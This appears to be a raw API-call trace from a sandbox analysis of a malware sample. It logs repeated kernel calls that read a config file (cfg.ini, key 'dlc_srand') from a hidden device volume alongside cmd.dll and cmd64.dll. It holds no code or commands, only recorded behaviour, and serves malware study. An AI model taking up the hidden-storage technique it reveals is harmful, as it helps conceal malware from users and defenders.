[0122.692] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.692] IdePortDispatch () returned 0x103 [0122.692] KeWaitForMutexObject () returned 0x0 [0122.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] KeLeaveCriticalRegion () [0122.693] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.693] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.693] KeEnterCriticalRegion () [0122.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] KeLeaveCriticalRegion () [0122.693] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.693] KeEnterCriticalRegion () [0122.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.693] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] KeLeaveCriticalRegion () [0122.693] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.693] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.693] KeEnterCriticalRegion () [0122.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.693] KeLeaveCriticalRegion () [0122.693] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.693] ReleaseMutex (hMutex=0xf0) returned 1 [0122.693] Sleep (dwMilliseconds=0x124f80) [0122.708] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.708] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.708] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.708] KeEnterCriticalRegion () [0122.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.708] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.708] IdePortDispatch () returned 0x103 [0122.708] KeWaitForMutexObject () returned 0x0 [0122.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be67b0 [0122.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.708] KeLeaveCriticalRegion () [0122.708] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.708] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.708] KeEnterCriticalRegion () [0122.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.708] KeLeaveCriticalRegion () [0122.708] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.708] KeEnterCriticalRegion () [0122.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.709] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.709] IdePortDispatch () returned 0x103 [0122.709] KeWaitForMutexObject () returned 0x0 [0122.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.709] KeLeaveCriticalRegion () [0122.709] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.709] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.709] KeEnterCriticalRegion () [0122.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0d000 [0122.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.709] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.709] IdePortDispatch () returned 0x103 [0122.709] KeWaitForMutexObject () returned 0x0 [0122.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.709] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.709] IdePortDispatch () returned 0x103 [0122.709] KeWaitForMutexObject () returned 0x0 [0122.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] KeLeaveCriticalRegion () [0122.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.710] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.710] KeEnterCriticalRegion () [0122.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] KeLeaveCriticalRegion () [0122.710] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.710] KeEnterCriticalRegion () [0122.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] KeLeaveCriticalRegion () [0122.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.710] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.710] KeEnterCriticalRegion () [0122.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] ExFreePoolWithTag (P=0xfffffa8003be67b0, Tag=0x0) [0122.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.710] KeLeaveCriticalRegion () [0122.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.711] ReleaseMutex (hMutex=0xf0) returned 1 [0122.711] Sleep (dwMilliseconds=0x124f80) [0122.717] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.726] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.726] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.726] KeEnterCriticalRegion () [0122.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.726] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.726] IdePortDispatch () returned 0x103 [0122.726] KeWaitForMutexObject () returned 0x0 [0122.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.726] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.726] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.726] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.726] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.726] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6300 [0122.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.726] KeLeaveCriticalRegion () [0122.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.726] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.726] KeEnterCriticalRegion () [0122.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.726] KeLeaveCriticalRegion () [0122.726] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.726] KeEnterCriticalRegion () [0122.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.727] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.727] IdePortDispatch () returned 0x103 [0122.727] KeWaitForMutexObject () returned 0x0 [0122.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.727] KeLeaveCriticalRegion () [0122.727] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.727] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.727] KeEnterCriticalRegion () [0122.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.727] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d12000 [0122.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.727] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.727] IdePortDispatch () returned 0x103 [0122.727] KeWaitForMutexObject () returned 0x0 [0122.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.727] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.727] IdePortDispatch () returned 0x103 [0122.727] KeWaitForMutexObject () returned 0x0 [0122.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] KeLeaveCriticalRegion () [0122.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.728] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.728] KeEnterCriticalRegion () [0122.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] KeLeaveCriticalRegion () [0122.728] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.728] KeEnterCriticalRegion () [0122.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] KeLeaveCriticalRegion () [0122.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.728] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.728] KeEnterCriticalRegion () [0122.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] ExFreePoolWithTag (P=0xfffffa8003be6300, Tag=0x0) [0122.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.728] KeLeaveCriticalRegion () [0122.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.729] ReleaseMutex (hMutex=0xf0) returned 1 [0122.729] Sleep (dwMilliseconds=0x124f80) [0122.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.743] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.743] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.743] KeEnterCriticalRegion () [0122.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.743] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.743] IdePortDispatch () returned 0x103 [0122.743] KeWaitForMutexObject () returned 0x0 [0122.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.743] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.743] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7a60 [0122.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.743] KeLeaveCriticalRegion () [0122.743] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.743] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.743] KeEnterCriticalRegion () [0122.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.744] KeLeaveCriticalRegion () [0122.744] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.744] KeEnterCriticalRegion () [0122.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.744] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.744] IdePortDispatch () returned 0x103 [0122.744] KeWaitForMutexObject () returned 0x0 [0122.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.744] KeLeaveCriticalRegion () [0122.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.744] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.744] KeEnterCriticalRegion () [0122.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d17000 [0122.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.744] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.744] IdePortDispatch () returned 0x103 [0122.744] KeWaitForMutexObject () returned 0x0 [0122.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.745] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.745] IdePortDispatch () returned 0x103 [0122.745] KeWaitForMutexObject () returned 0x0 [0122.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.745] KeLeaveCriticalRegion () [0122.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.745] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.745] KeEnterCriticalRegion () [0122.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.745] KeLeaveCriticalRegion () [0122.745] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.745] KeEnterCriticalRegion () [0122.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.745] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.746] KeLeaveCriticalRegion () [0122.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.746] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.746] KeEnterCriticalRegion () [0122.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.746] ExFreePoolWithTag (P=0xfffffa8003be7a60, Tag=0x0) [0122.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.746] KeLeaveCriticalRegion () [0122.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.746] ReleaseMutex (hMutex=0xf0) returned 1 [0122.746] Sleep (dwMilliseconds=0x124f80) [0122.761] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.761] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.761] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.761] 